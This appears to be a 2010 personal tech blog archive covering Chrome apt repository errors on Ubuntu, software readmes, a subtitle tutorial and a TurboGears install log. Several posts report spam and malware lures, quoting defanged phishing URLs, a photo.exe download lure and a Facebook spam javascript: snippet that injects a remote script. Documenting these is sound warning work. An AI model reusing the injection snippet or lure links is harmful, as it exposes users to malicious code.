Friday, December 24, 2010

google chrome does not update on ubuntu

deb http://dl.google.com/linux/deb/ stable main

Failed to fetch http://dl.google.com/linux/deb/dists/stable/Release  Unable to find expected entry  main/source/Sources in Meta-index file (malformed Release file?)
Some index files failed to download, they have been ignored, or old ones used instead.

It's apparently a problem with pipelining and the google servers.  See this Ubuntu bug for more information and a workaround.

https://bugs.launchpad.net/ubuntu/+source/apt/+bug/528925
http://www.google.com/support/forum/p/Chrome/thread?tid=602abde8e95cf067&hl=en

http://www.google.com/linuxrepositories/apt.html

Those directions no longer seem to work. http://dl.google.com/linux/ Seems to have been removed. Can anyone from Google confirm this?


As a workaround adding

Acquire::http::Pipeline-Depth "0";

to to a file in /etc/apt/apt.conf.d/ fixes the problem for me.
https://bugs.launchpad.net/ubuntu/+source/apt/+bug/528925


But, the following 2 hits happen in less than a second:
  Get:2 http://dl.google.com stable Release [2,540B]
  Get:3 http://dl.google.com stable/main Packages [916

deb http://dl.google.com/ stable main
Failed to fetch http://dl.google.com/dists/stable/main/binary-i386/Packages.gz  404  Not Found [IP: 209.85.153.91 80]
Some index files failed to download, they have been ignored, or old ones used instead.

sudo aptitude update
E: Malformed line 43 in source list /etc/apt/sources.list (dist parse)
E: Malformed line 43 in source list /etc/apt/sources.list (dist parse)
E: The list of sources could not be read.
E: Malformed line 43 in source list /etc/apt/sources.list (dist parse)
E: The list of sources could not be read.
E: Malformed line 43 in source list /etc/apt/sources.list (dist parse)
E: Couldn't read list of package sources

Google Chrome extension Facebook Disconnect stops major third parties and search engines from tracking the webpages

A browser extension that stops major third parties and search engines
from tracking the webpages you go to and searches you do



Name Brian Kennish
http://twitter.com/byoogle
http://edition.cnn.com/2010/TECH/web/12/24/ex.google.employees/
http://byoogle.blogspot.com/2010/10/boo-facebook-disconnects-scary-install.html


* For troubleshooting help, see the known issues below and ask questions at http://j.mp/dgroup.

If you’re a typical web user, you’re unintentionally sending your browsing and search history with your name and other personal information to third parties and search engines whenever you’re online.

Take control of the data you share with Disconnect!

From the developer of the top-10-rated Facebook Disconnect extension, Disconnect lets you:

• Disable tracking by third parties like Digg, Facebook, Google, Twitter, and Yahoo, without requiring any setup or significantly degrading the usability of the web.

• Truly depersonalize searches on search engines like Google and Yahoo (by blocking identifying cookies not just changing the appearance of results pages), while staying logged into other services — e.g., so you can search anonymously on Google and access iGoogle at once.

• See how many resource and cookie requests are blocked, in real time.

• Easily unblock services, by clicking the toolbar button then services (and reloading current pages) — e.g., so you can play games on Facebook.

To learn more about online privacy and protecting yourself and find out when additional browsers are supported, subscribe to the Disconnect Newsletter at http://disconnectere.com/.

Disconnect is open-source software — you can get the code at http://j.mp/dsource.

Known Issues:

• The scary installation warning is explained at http://j.mp/dinstall (the text refers to Facebook Disconnect but also applies to Disconnect).

• Search depersonalization isn’t yet implemented for international Google domains — google.fr, google.co.jp, et cetera.

• Yahoo has to be unblocked while you’re logging into Flickr or Delicious but can be blocked again afterwards.

• Unblocking Facebook isn’t possible while Facebook Disconnect is running — that extension will be autoupdated to be compatible with Disconnect in the next few days.

• You should unblock Google and Yahoo before disabling or uninstalling Disconnect — doing so will restore your cookies to their original state.
http://www.disconnectere.com/











Install or update Google Chrome: Update Google Chrome

To make sure that you're protected by the latest security updates, Google Chrome automatically updates whenever it detects that a new version of the browser is available. The update process happens in the background and doesn't require any action on your part.

Check for updates

Updates are available if the wrench icon on the browser toolbar shows a little orange dot . To apply the update, just follow these steps:

Click the wrench icon on the browser toolbar.
Select Update Google Chrome.
In the confirmation dialog that appears, click Restart. The browser saves your opened tabs and windows and reopens them automatically when it restarts. If you'd prefer not to restart right away, click Not now. The next time you restart your browser, the update will automatically be applied.
Mac users: Don't see a wrench icon? Go to the menu bar at the top of your screen, click Chrome, and select About Google Chrome. If an update is available, the Update Now button will be active. Click the button to update the browser.

Using Linux? Use your package manager to update Google Chrome.

Check your browser version

Click the wrench icon on the browser toolbar and select About Google Chrome. The version number is the series of number beneath the "Google Chrome" heading.

Set up automatic updates (Mac)

If Google Chrome is installed in your Applications folder, you may be able to set up automatic browser updates for all users of your computer. Go to the "About Google Chrome" dialog and see if the Set Up Automatic Updates for All Users button is available. If it is, click the button and authenticate to set up automatic updates.



In Google Chrome's "About Google Chrome" box, you might see an error when trying to check for updates. Note the error message (or lack thereof) and click the corresponding link below to find out more:

Update server not available (error: 1)

Error 1 means that Google Chrome can't be upgraded in its current directory.

First, check which version of Google Chrome you're running by looking at the version number in the About Google Chrome box.

If the box lists "Google Chrome," then the most likely reason for this failure is that the Google Chrome files have been moved out of their default installation location. This configuration isn't supported for updates. Moving the files back to their original location should resolve this issue. If you haven't moved the files, you may be able to resolve this issue by uninstalling and reinstalling Google Chrome.

If the box lists something other than "Google Chrome" (e.g. "Chromium"), then this error is expected. Only Google Chrome supports updating. You can download Google Chrome from http://www.google.com/chrome

Chromium is what you get if you download the source code and build the browser yourself, or copy a build from someone who built it from the source.

chrome extension install failure

Invalid value for 'permissions[0]'



My Chrome software source had been disabled on upgrade to Lucid and never reenabled. I thought I had seen Google Chrome be updated during Update Manager runs but I guess not.

I reenabled dl.google.com/linux/chrome/deb stable, and Chrome updated to 7.0.517.24 dev and chrometophone extension installed correctly. I'm not sure that's the best source, but that is what I previously used after researching how to install Chrome in Ubuntu.

Sorry about that.
http://code.google.com/p/chrometophone/issues/detail?id=216



Name:    google-chrome-stable

Description:   
The web browser from Google
Google Chrome is a browser that combines a minimal design with sophisticated technology to make the web faster, safer, and easier.

Latest version:    8.0.552.224-r68599-hacktolive1
Ubuntu release:    maverick (10.10)


sudo apt-get check && sudo apt-get update
 # you may need to repeat the update if it complains
 sudo apt-get upgrade

Any errors generated by these commands would be most informative when appended to your original question. If the check fails, do as it instructs or stop and post your result.


Google Linux Software Repositories
http://www.google.com/linuxrepositories/apt.html


You can find out about getting on the Dev channel here: http://dev.chromium.org/getting-involved/dev-channel.



If you find new issues, please let us know by filing a bug at http://code.google.com/p/chromium/issues/entry

http://googlechromereleases.blogspot.com/


GUI Configuration on Ubuntu 10
http://www.google.com/linuxrepositories/ubuntu1004.html



Linux

Requirements: Intel Pentium 4 / Athlon 64 or later CPU; 32- or 64-bit Ubuntu 8.04 or later, or 32-bit Debian 5. Support for other Linux distributions is planned; unpacking the .deb files by hand may work.

Note: Installing Google Chrome will add the Google repository so your system will automatically keep Chrome up to date. If you don't want Google's repository, do "sudo touch /etc/default/google-chrome" before installing the package.
Download and install the package appropriate for your system (just clicking on it should do the right thing):

Friday, December 17, 2010

acai berry spam email

the email reads

Hey, hope all is well. I've tried this acai berry stuff that is seriously fascinating!! I am feeling energetic from the 1st day i have been using it! its true, doctors have uncovered a way to lose fat which works and is amazingly healthy for people! Here is this article about it if you want to, and purchase it http://www.cnn.com/HEALTH/ !! This link sells it half-priced!! I heard a few friend's already took it and they  lost 5-8 lbs in roughly a week so I assumed I would fill you in also :) This stuff is insane! there is excellent advice on that link and see how it works for you.

but the url does not link to cnn it goes to hxx://slim-blog.ru/ this redirects to hxx://www.news-slim.info/ which links to fats-gone.info

mynewemail55a@yahoo.com
nathakkar@hotmail.com

Monday, December 13, 2010

blogger spammer messages on facebook

they send a private message on facebook saying

I got u a surprise xxx.huikalurocigi.blogspot.com

that page has a javascript

< script src= 'xxp://fotoshare-dknc.com/url.js'

the source of that script reads
url = "hxxp://surprise-2mki.co.cc"


this url has a single hyper-link saying

Download photoalbum

this link source code shows an exe file (possibly malware/spyware called photo.exe

photo.exe " >Download photoalbum

Tuesday, December 7, 2010

List of Free Programming books by stackoverflow

 http://stackoverflow.com/questions/194812/list-of-freely-available-programming-books

Meta-List
Graphics Programming
Language Agnostic:
ASP.NET MVC:
Assembly Language:
Bash
C/C++
C#
  • See .NET below
Django
Erlang
F#
Forth
Git
Haskell
HTML
Java
JavaScript
Linux
Lisp
Lua
Maven
Mercurial
.NET (C#)
NoSQL
Objective-C
Oracle Server
Oracle PL/SQL
Parrot / Perl 6
Perl
PHP
PowerShell
Prolog
PostgreSQL
Python
Ruby
Scala
Scheme
Smalltalk
Subversion
SQL (Implementation agnostic)
Vim

Thursday, December 2, 2010

Cmtr worpress hack exploit

I have the latest wordpress install wordpress 3.0.2 and got plugins secure wordpress . But today i opened the site and found the words CmTr . The index.php file was wiped clean and the only word in the file was CmTr

A google search finds
CmTr | Zone-H.org
Hacked By CmTr
bycmtr.wordpress.com
H - Homepage defacement
http://www.facebook.com/pages/Turk-dusmanlari-desifre-ediliyor/260218431669
http://www.exploit-db.com/
CmTr
İletişim: xcem_boyx@hotmail.com

Zone -H Linkım için TIKLA
http://www.cyber-warrior.org/draftbeer


RESOLVED
Found out this was due to an exploit on the hosting providers cpanel.


anyone know how to secure wordpress against this exploit ,please post your tips in the comments.
the wordpress site does not even find Cmtr in their searches and i do not know how to find /ask for help on wordpress

Fatal error: Allowed memory size of 33554432 bytes exhausted (tried to allocate 429232 bytes) in /public_html/wp-admin/includes/admin.php on line 34
the above error comes after activating buddy press

Wednesday, December 1, 2010

.tk spam hit facebook

 Hi Friend Check Who Visited and Viewed Your Profile Here..Amazing app By Fb .. hxxp://creativefby.blogspot.com/
 Excellent !! New Facebook revolving images. MUST SEE hxxp://domainzy.tk/
 heloo.. check who viewed ur prof..here its nw working..yaar. hxxp://howtotrackvisit.tk/



Hi Friends see Face-book images rotate 360* see here >> hxxp://giggerz.tk/


since yesterday i have seen several of these links and posters find it difficult to remove them

Hi Friends see Face-book images rotate 360* see here >> hxxp://FLYBACK.TK/

Really cool Facebook revolving images. MUST SEE hxxp://FOLLOWINGTHELEADS.TK/

Hey Friend Check Who Viewed and Visited Your FB Profile Here << hxxp://visitorstab2.blogspot.com/. Really cool Facebook revolving images. MUST SEE hxxp://SOLOMONOPOLY.TK/ Hi Friends see Face-book images rotate 360* see here >> hxxp://LOVETRIANGLES.TK/



I have not clicked on them to figure out what they use .

It looks like all these are stupid javascript tricks
the newest one was
hxxp://streetkid.tk/

"Cool Face-book Revolving Images"

the code on the page shows
 

javascript:(a = (b = document).createElement("script")).src = "//imaginemonkeys.com/majic.js?show", b.body.appendChild(a); void(0)

checking the code of imageinmonkeys.com
imaginemonkeys.com/majic.js code is

javascript:(a = (b = document).createElement("script")).src = "//graphicgiants.com/majic.js?show", b.body.appendChild(a); void(0)
 
and graphicgiants.com/majic.js
 gives a 404. so WTF is this stupid code which is all over fb right now??? 

Sunday, November 28, 2010

installing tikipress

Looks like tiki press does not work like other wordpress plugins . you cannot just upload and activate it . You have to download it , unzip it and read the read me and then follow that to get it activated

=== TikiPress ===

Contributors: GetShopped.org (need to add eventpress etc in here)
Tags: e-commerce, shop, cart, goldcart, buddypress, Tickets, event Manager
Version: 1.0 - Beta
Tested up to: 3.0
Requires at least: WP-e-commerce 3.7, The latest version of buddypress custom post types (version 0.1.2.1), EventPress Version 0.1.2.2
Stable tag: 3.7.6.7

== Description ==

This plugin allows you to create events, tickets as products, attendees everything you need to organize events.
This version is in beta mode so please report any bugs or suggestions to the getshopped.org blog.

== Installation ==

Note: This plugin requires the latest versions of each of these other plugins to run: WP-e-Commerce, EventPress, BuddyPress, BuddyPress Custom post types.

BuddyPress and EventPress can just be downloaded from WordPress.org - make sure they are the most recent versions.

All of these plugins install into the wp-content/plugins directory and should be activated like any other plugin

For best results you should install the plugins in this order: buddypress, buddypress custom post types, eventPress, wp-e-commerce, TikiPress.


==== Downloading a new version ====

This plugin currently does not have automatic plugin notification, however any premium upgrades for GetShopped.org can be downloaded from:

http://getshopped.org/extend/premium-upgrades-files/

You will be required to enter your Session ID (this can be found with your API key on your purchase receipt)


== Support ==

If you have any problems with TikiPress or require more information check this out:

General help: http://getshopped.org/resources/docs/

Support Forum: http://www.getshopped.org/forums/

Premium Support Forum: http://getshopped.org/resources/premium-support/

Please Note: that we will do our best to assist you with any problems relating to TikiPress, however general questions relating to the other plugins eg EventPress / BuddyPress We will not be able to help you with, you would need to talk to the core developers for that plugin


==Getting started with this plugin==


==== Important things to note / required settings ====
Below are the minimum required settings for all these plugins to work nicely please take the time to read and configure them.

1. For this to work you must set your permalink structure to /%category%/%postname%/

2. Go to Store->Categories and add "Tickets" category (in wp-e-commerce)


3. Go to Store->TikiPress -> Configure and select "Tickets" category (or whatever Category you made in step two, This is the category that all your ticket products created in wp-e-commerce MUST use) if you are creating other products to such as merchandise then create a different category for that.

3. The payment must be marked as accepted in the wp-e-commerce sales log in order for any redemption codes to be sent.

4. Users must be registered to your site to redeems ticket codes so it would be advised to change your wordpress settings to "anyone can register" (you do this under the main wordpress users menu)

5. Some buddy press themes (well the default one anyway) will not support Parent / child menu structure. If this is the case and you only see a products page (and not a checkout page) in your nav then please change the checkout page to have no parent.

6. If you would like to display a list of attendees on your site (so other users can see who is going to the event) then create a page with this shortcode: [bpt_attendees id='productid']
where product id is the product id for the ticket thats the event relates to. (an easy way to find this is to go to store > products and hover over the ticket in the bar at the bottom you will see the product id)

7. The Redeem page for ticket codes is also a short code so you will need to include this on a page also: [bpt_redeem_code_page]


==== Setting up the events (EventPress)====

1. Go to Events and add a new event, this is the event that you are going to be selling a ticket for.

The Registration metaboxes on this page are not used by TikiPress. TikiPress will deal with all the registrations / attendees so you can disregard this section.


==== Setting up BuddyPress and Ticket Checkout Fields ====

The BuddyPress fields determine what attendee data is collected for your event. The user buying the tickets at checkout will fill these out with their purchase. If more than one ticket is purchased then the person who gets emailed the redemption code will also be asked to fill out the same fields

1.(optional) Go to BuddyPress -> Profile Field Setup and add any fields you want. Values of Radio buttons and Drop-down lists will be shown in statistics, other information will be show per user.


==== Creating a Ticket - product ====

This is the ticket that you are going to be selling for the event you have just created.

1. Go to Store -> Products -> Add product Fill out all the details about your ticket and event etc.

2. In the Event Metabox please select the event that this ticket relates to, If this is not done then the attendees and statistics will not work.

3. Category - must be the category you set for tickets

4. If you want the tickets sold / reaming stock counter to work you must set a ticket limit for your product. To do this just select the options "I have limited quantities of this stock" Under stock control metabox.

===Testing this out ===

1. Go to front-end Products page

2. Add some tickets to your cart, to test the ticket code redemption you will need to purchase more than one ticket.

3. Enter billing/contact details and fill out the ticket information fields

4. Enter email addresses for the recipients of the other tickets (for testing enter in an address you have access to), those need to be emails of registered users, if they are not registered, then they must register with the same email before Redeeming the voucher.

5. If using manual gateway go to the sales log and change the payment status to accepted.

6. Check the email for a redemption code, for the other tickets purchased.

7. You should now be able to go to the redeem page and redeem your code, you should be asked to fill out the same fields again.

8. Once you have some registered attendees you can use the statistics and attendees features under store >buddyPress TikiPress

Tuesday, November 16, 2010

How To Embed Subtitles To MP4 & FLV Videos Using Avidemux

Avidemux
<http://avidemux.sourceforge.net/>is an open-source video editor that
satisfies your simple editing needs,
such as cutting and encoding, and is available for
Windows<http://download.cnet.com/Avidemux/3000-13631_4-10829933.html>,
Mac, Linux and BSD. You can also use this tool to compress videos using
VirtualDub <http://www.makeuseof.com/tag/compress-videos-send-email/> (which
you can also do in Windows Movie Maker, but the video will most likely end
up with black bars).

It is one of many video editors for
Linux<http://www.makeuseof.com/tag/7-free-open-source-video-editor-for-linux/>,
some of which are meant for more professional video production
(Cinelerra<http://cinelerra.org/>and
Lightworks<http://www.editshare.com/index.php?option=com_content&task=view&id=155&Itemid=203>).
Although Avidemux isn’t a powerhouse video-editing software, it actually has
a lot of the features<http://www.makeuseof.com/tag/7-video-editing-tasks-virtualdub-handles-ease-windows/>that
I thought made VirtualDub shine for the price of $0.

One of these features I previously
discussed<http://www.makeuseof.com/tag/7-video-editing-tasks-virtualdub-handles-ease-windows/>is
the ability to embed
subtitles permanently<http://www.makeuseof.com/tag/how-to-add-subtitles-to-a-movie-or-television-series/>in
videos. A limitation that you’re presented with if you use VirtualDub
a
lot (despite all it can do) is that this Windows-only program only accepts a
small set of video file types, mainly AVI, MPG, and MPEG. Nowadays, if you
own any sort of portable device, be it an Android smartphone, an MP3 player
(iPod Touch) or some gaming device like the PSP, you will certainly need
your videos to be in MP4 format. Avidemux not only supports MP4 but it also
is capable of embedding subtitles so perhaps you can save yourself loads of
video-converting steps (though you might still benefit from using
dedicated<http://www.makeuseof.com/tag/convert-transfer-youtube-videos-onto-your-ipod-with-dvdvideosoft/>
converters<http://www.makeuseof.com/tag/hamster-free-highly-userfriendly-video-converter-windows/>
for
iPhone<http://www.makeuseof.com/tag/encodehd-easily-convert-media-files-for-any-devices-windows/>,
PSP, etc.)

You will need to have the Xvid <http://www.xvid.org/> codec installed
(recommended also if you’re interested in publishing videos on
Youtube<http://www.makeuseof.com/tag/capturing-publishing-videos-youtube-settings-formats/>),
which is pretty standard for video encoding applications.

[image: how to embed subtitles]

1. Once you have loaded Avidemux up, press *Ctrl *+ *O *to open your video
(alternatively, go to *File* in the menu bar > *Open*) and select any AVI,
MP4, or FLV video.

[image: add subtitles to mp4]

2. If you want to trim part of the imported video, use the sliders to set
start and end points. Otherwise, go ahead and select the Xvid codec/mode in
the Video drop-down menu. This enables you to use filters, which you can’t
do in the default *Copy *Video mode.

[image: add subtitles to mp4]

You’ll get the Video Filter Manager window where you can select preset
filters for common tasks, such as cropping, resizing, etc. Head to the *
Subtitles* category, where you can choose to embed subtitles in SubRip text
format (.srt), MicroDVD subtitle file format (.sub), or the more
customizable SubStation Alpha file format (.ssa, .ass), which you saw on How
To Create Your Own
Subtitles<http://www.makeuseof.com/tag/subtitles-text-editor-aegisub/>.
You can get the subtitles in the latter format using Subtitle
Workshop<http://www.urusoft.net/products.php?cat=sw&lang=1
>,
and Aegisub <http://www.aegisub.org/>, which are among the best tools to
edit subtitle files<http://www.makeuseof.com/tag/tools-adjust-subtitle-files-platform/>
.

3. Double-click on the appropriate subtitle filter. Now select your subtitle
file.

[image: add subtitles to mp4]

If you’re using the SSA subtitle filter like I am, there is really no need
to adjust the line spacing, font scale, etc. since you probably specified
those settings when you were creating your subtitles with, Aegisub for
example, so the default values will do fine. If you downloaded the subtitles
from the net, you can, of course, adjust these values.

Close out of the Video Filter Manager.

Even though there’s a *Preview* button, strangely enough, you won’t be able
to preview the video with the subtitles. If, however, you use any other
filter, such as resize, *Preview *will work fine.

4. Choose *Copy* under Audio mode, although you can also use the LAME codec
for MP3, which you can learn more about in Audio File Formats Explained in
Simple Terms<http://www.makeuseof.com/tag/a-look-at-the-different-file-formats-available-part-1-audio/>
.

[image: embed subtitles]

Then select the video container/format (either FLV, MP4, AVI) you want to
save the video.

5. Save the video.

[image: embed subtitles]

The time taken to encode the video will depend on the length of the original
video.

[image: how to embed subtitles]

That’s it! One of the strongest points about Avidemux is definitely the
ability to import FLV and MP4, something VirtualDub can’t currently do. One
area where VirtualDub does shine though, is filters or plugins. There seems
to be way more filters available on the web which can’t be ported to
Avidemux. If there is one thing I wish Avidemux wouldn’t do is crash
whenever I try to save the video in FLV. Otherwise, it works perfectly.

What do you use to embed subtitles permanently or do you prefer soft-subbed
videos?

Photo credit: MazenI77 <http://findicons.com/icon/58541/movies?id=374074>
[image: Click here to find out
more!]<http://ad.doubleclick.net/click;h=v8/3a53/0/0/%2a/c;44306;0-0;0;49736834;31-1/1;0/0/0;;%7Eokv=;ppos=btf;kw=Videos%20Avidemux;sz=1x1;%7Eaopt=2/1/ff/1;%7Esscs=%3f>

4 Comments<http://www.makeuseof.com/tag/embed-subtitles-mp4-flv-videos-avidemux-crossplatform/#disqus_thread>

(By) Jessica holds a bachelor's in Psychology and loves to write about
useful applications and hacks in plain English. Check out her
articles<http://www.makeuseof.com/tag/author/jessicacw/>or contact her
on Twitter <http://www.twitter.com/jecw>.
0diggsdigg
0Share<http://www.makeuseof.com/tag/embed-subtitles-mp4-flv-videos-avidemux-crossplatform/>
ShareThis

Enjoyed the article? Subscribe to MakeUseOf to get daily updates on new cool
websites and programs in your email for free. You'll also get free printable
cheat sheets to your favorite programs

Your Email:
Similar Articles

- Simple Home Video Editing with Video Converter Pro [Giveaway]
<http://www.makeuseof.com/tag/simple-home-video-editing-video-converter-pro-giveaway/>
- SoMud – A Remarkable Cross-Platform Free Download Manager
<http://www.makeuseof.com/tag/somud-remarkable-crossplatform-download-application/>
- Blender – A Powerful Free Cross-Platform 3D Content Creation Suite
<http://www.makeuseof.com/tag/blender-powerful-free-crossplatform-3d-content-creation-suite/>
- SeaMonkey: The Overlooked All-In-One Mozilla Web Suite
<http://www.makeuseof.com/tag/seamonkey-overlooked-allinone-mozilla-web-suite/>
- Nero’s Latest All-In-One Multimedia Suite [Giveaway]
<http://www.makeuseof.com/tag/neros-latest-allinone-multimedia-suite-giveaway/>
- 2 Alternative File Managers You Should Really Check Out
<http://www.makeuseof.com/tag/2-alternative-file-managers-check/>
- 5 Awesome New Features In iMovie ’11 [Mac]
<http://www.makeuseof.com/tag/awesome-features-imovie-11-mac/>
- Take Notes & Annotate PDFs The Easy Way With Jarnal [Cross-Platform]
<http://www.makeuseof.com/tag/notes-annotate-pdfs-easy-jarnal-crossplatform/>

More about: cross platform <http://www.makeuseof.com/tags/cross-platform/> .
flv <http://www.makeuseof.com/tags/flv/> .
subtitles<http://www.makeuseof.com/tags/subtitles/>. video
editors <http://www.makeuseof.com/tags/video-editors/>
http://www.makeuseof.com/tag/embed-subtitles-mp4-flv-videos-avidemux-crossplatform/#more-57630

Frederick Noronha :: +91-9822122436 :: +91-832-2409490

Monday, November 1, 2010

Appleseed is the first open source, fully decentralized social networking software

Appleseed v0.7.6 Beta (Eleventh Release)

Sep 07 2010

New In This Release:
--------------------

A new layout is being developed, and legacy code is being refactored.
Client-side i18n allows you to use the same lang file you have on the
server. All the foundational work necessary to move forward with the
user-facing code has been done. Now is when things get interesting.

A lot more. See _release/changelog.txt

--------------------
About Appleseed:

This is the eleventh release of the Appleseed code base. Appleseed is
social networking software, similar to Friendster or Myspace.

Appleseed is distributed social networking, which connects friends on
different websites in a decentralized fashion.

Appleseed is being released under the GNU General Public License.

More information is available at http://opensource.appleseedproject.org

--------------------
Requirements:

1. Apache 1.2 or 2.0

2. PHP5
a. GD image manipulation library.

3. MySQL 5+
b. InnoDB Transactional Database

--------------------
Install Instructions

1. Move this directory into the htdocs/ or public_html/ directory where
appleseed will be run from. Appleseed cannot be installed in a
subdirectory. Subdomains, however, are fine.

2. Create a mysql database and username/password.

3. Point your browser to your website, and follow the install script
instructions.


--------------------
Upgrade Instructions

(This can be a little tricky, and these steps only work for upgrading
from 0.7.5)

1. Make a backup of your web directory and db tables!
2. Untar the release into your web directory, overwriting existing files
3. Move photos/ to _legacy/storage/photos/
4. Create the file configurations/local/local.conf with your site settings in this format:

inherit="default"
enabled="true"
db="database"
un="username"
pw="password"
pre="asd_"
host="localhost"
url="http://localhost"

5. Copy htaccess.original to .htaccess
6. Run the queries in _release/update-0.7.6.sql on your database, replacing "#__" with your prefix.

ie,

drop table #__systemStrings;

becomes

drop table asd_systemStrings;

Appleseed Resources

Team Website
[team.appleseedproject.org]

Beta Test Site
[appleseedproject.org]

Source Code
[github.com]

Bug Tracker
[lighthouseapp.com]


Follow us on Twitter

Follow us on Identi.ca

Join our group on Facebook

Fund Appleseed on IndieGogo

Support us on Mozilla Drumbeat


Appleseed Roadmap

Updated: 09-06-2010
Version: 0.7.6

0.7 SERIES
----------
Base features, API, Framework, Themability, Internationalisation, UI Overhaul.

* 0.7.4 - MVC framework, Internationalisation, Refactor CRUD functions, Html form functions, Configuration inheritance, New theme, SHA512 for password storage
* 0.7.5 - Integrate JQuery, Session management, Form validation, QuickSocial specification, Documentation
* 0.7.6 - Input Purification, Refactor legacy code, Round out features and bug fix node control, Automatic update, Login component, and Client-side i18n.
0.7.7 - Round out features and bug fix Friends, Privacy.
0.7.8 - Round out features and bug fix Photos, Journals, and Comments components.
0.7.9 - Add micro-blogging and "wall" components,
0.7.10 - Add newsfeed component, round out features and bug fix control and config components.
0.7.11 - Add user options and system logging components, round out features and bug fix Messaging
0.7.12 - Add folksonomy component, round out features and bug fix groups, pages, and articles components.
0.7.13 - Add search and events components, build out JQuery integration and framework
0.7.14 - Add chat, video, and music components
0.7.15 - Refactor and round out new components. Semi-Freeze protocol and API with this release.

0.8 SERIES
----------
Optimization, Standards, Security, Error Checking and Reporting, Connectivity and Compatibility, Cloud Storage.

- Finalization of a standard, open protocol for communication between Appleseed sites and other open source projects
- Compatibility with Flickr, Twitter, and other major services (via newsfeed hooks).
- Profile importers for Facebook, MySpace, and others.
- Creation of cloud storage (ie, Amazon S3) file system hooks
- Full audit for proper error checking, reporting, logging and exception handling.
- Speed and performance optimization: server, browser, and network.
- Full audits for sensible defaults and system security.

0.9 SERIES
----------
FEATURE FREEZE! Bug testing, Code Cleanup, Documentation

1.0 SERIES
----------
API Enhancement, Scalability, User Interface Refinement, Security Fixes, and Optimization.

1.1 SERIES
----------
Content Management, Taxonomy, Social Graph, Analytics, Client-side apps, and more TBD.

Sunday, October 17, 2010

java pdf reader for mobile phones

Most most modern Cell Phones support Java standard for mobile applications (J2ME).
  • AnyView free ebook reader for J2ME phones
  • Libris: An eBook reader for Java MIDP 2.0 phones.
  • Foliant is a library-reader for mobile phones with support for Java. Its main function is to organize your collection of books and comfortable reading. It supports TXT and FB2 formats and has Unicode capability.
  • MobiBook: A free, open source J2ME reader.
  • ReadManiac: A free, open source, high quality reader for any Java (J2ME MIDP 2) phone.
  • Tequilacat BookReader Excellent bookreader with touchscreen support.
  • tx2ph: This is a WAP-based reader that can read TXTs, PDFs. Works with any Internet-connected mobile device, including BlackBerries and Palms of course.
  • Wattpad: is a Java app that can retrieve and read eBooks. These are uploaded to the site by writers or PD text.
  • Unyverse: Read Wikipedia and any RSS news Feed on any Java (J2ME MIDP 2) phone (freeware).

Tuesday, October 12, 2010

installing turbo gears on ubuntu

http://www.turbogears.org/2.0/docs/main/DownloadInstall.html


wget http://www.turbogears.org/2.0/downloads/current/tg2-bootstrap.py
--2010-10-12 20:29:11-- http://www.turbogears.org/2.0/downloads/current/tg2-bootstrap.py
Resolving www.turbogears.org... 67.15.84.19
Connecting to www.turbogears.org|67.15.84.19|:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 55083 (54K) [text/plain]
Saving to: `tg2-bootstrap.py'

100%[======================================>] 55,083 32.1K/s in 1.7s

2010-10-12 20:29:14 (32.1 KB/s) - `tg2-bootstrap.py' saved [55083/55083]

foldername@foldername-desktop:~$ python tg2-bootstrap.py --no-site-packages tg2env
New python executable in tg2env/bin/python
Installing setuptools............................done.
Installing turbogears....
Running command....
tg2env/bin/easy_install -i http://www.turbogears.org/2.0/downloads/current/index tg.devtools
Searching for tg.devtools
Reading http://www.turbogears.org/2.0/downloads/current/index/tg.devtools/
Best match: tg.devtools 2.0.2
Downloading http://www.turbogears.org/2.0/downloads/current/tg.devtools-2.0.2.tar.gz
Processing tg.devtools-2.0.2.tar.gz
Running tg.devtools-2.0.2/setup.py -q bdist_egg --dist-dir /tmp/easy_install-BsihXb/tg.devtools-2.0.2/egg-dist-tmp-E3sJAV
Adding tg.devtools 2.0.2 to easy-install.pth file

Installed /home/foldername/tg2env/lib/python2.6/site-packages/tg.devtools-2.0.2-py2.6.egg
Processing dependencies for tg.devtools
Searching for repoze.who>=1.0.10
Reading http://www.turbogears.org/2.0/downloads/current/index/repoze.who/
Best match: repoze.who 1.0.15
Downloading http://www.turbogears.org/2.0/downloads/current/repoze.who-1.0.15.tar.gz
Processing repoze.who-1.0.15.tar.gz
Running repoze.who-1.0.15/setup.py -q bdist_egg --dist-dir /tmp/easy_install-ptyaJ3/repoze.who-1.0.15/egg-dist-tmp-cxHHl0
Adding repoze.who 1.0.15 to easy-install.pth file

Installed /home/foldername/tg2env/lib/python2.6/site-packages/repoze.who-1.0.15-py2.6.egg
Searching for repoze.what-quickstart>=1.0
Reading http://www.turbogears.org/2.0/downloads/current/index/repoze.what-quickstart/
Best match: repoze.what-quickstart 1.0
Downloading http://www.turbogears.org/2.0/downloads/current/repoze.what-quickstart-1.0.tar.gz
Processing repoze.what-quickstart-1.0.tar.gz
Running repoze.what-quickstart-1.0/setup.py -q bdist_egg --dist-dir /tmp/easy_install-yWZLxV/repoze.what-quickstart-1.0/egg-dist-tmp-zAcLI_
no previously-included directories found matching 'docs/build'
warning: no previously-included files matching '*' found under directory 'tests'
warning: no previously-included files matching '*~' found anywhere in distribution
warning: no previously-included files matching '*.pyc' found anywhere in distribution
warning: no previously-included files matching '*.egg' found anywhere in distribution
warning: no previously-included files matching '.directory' found anywhere in distribution
Adding repoze.what-quickstart 1.0 to easy-install.pth file

Installed /home/foldername/tg2env/lib/python2.6/site-packages/repoze.what_quickstart-1.0-py2.6.egg
Searching for SQLAlchemy>=0.5
Reading http://www.turbogears.org/2.0/downloads/current/index/SQLAlchemy/
Best match: SQLAlchemy 0.5.1
Downloading http://www.turbogears.org/2.0/downloads/current/SQLAlchemy-0.5.1.tar.gz
Processing SQLAlchemy-0.5.1.tar.gz
Running SQLAlchemy-0.5.1/setup.py -q bdist_egg --dist-dir /tmp/easy_install-Qp8Xcv/SQLAlchemy-0.5.1/egg-dist-tmp-rJLxbD
no previously-included directories found matching 'doc/build/output'
zip_safe flag not set; analyzing archive contents...
sqlalchemy.databases.mysql: module MAY be using inspect.stack
Adding SQLAlchemy 0.5.1 to easy-install.pth file

Installed /home/foldername/tg2env/lib/python2.6/site-packages/SQLAlchemy-0.5.1-py2.6.egg
Searching for sqlalchemy-migrate>=0.5.1
Reading http://www.turbogears.org/2.0/downloads/current/index/sqlalchemy-migrate/
Best match: sqlalchemy-migrate 0.5.2
Downloading http://www.turbogears.org/2.0/downloads/current/sqlalchemy-migrate-0.5.2.tar.gz
Processing sqlalchemy-migrate-0.5.2.tar.gz
Running sqlalchemy-migrate-0.5.2/setup.py -q bdist_egg --dist-dir /tmp/easy_install-7V1L01/sqlalchemy-migrate-0.5.2/egg-dist-tmp-Pb_t9g
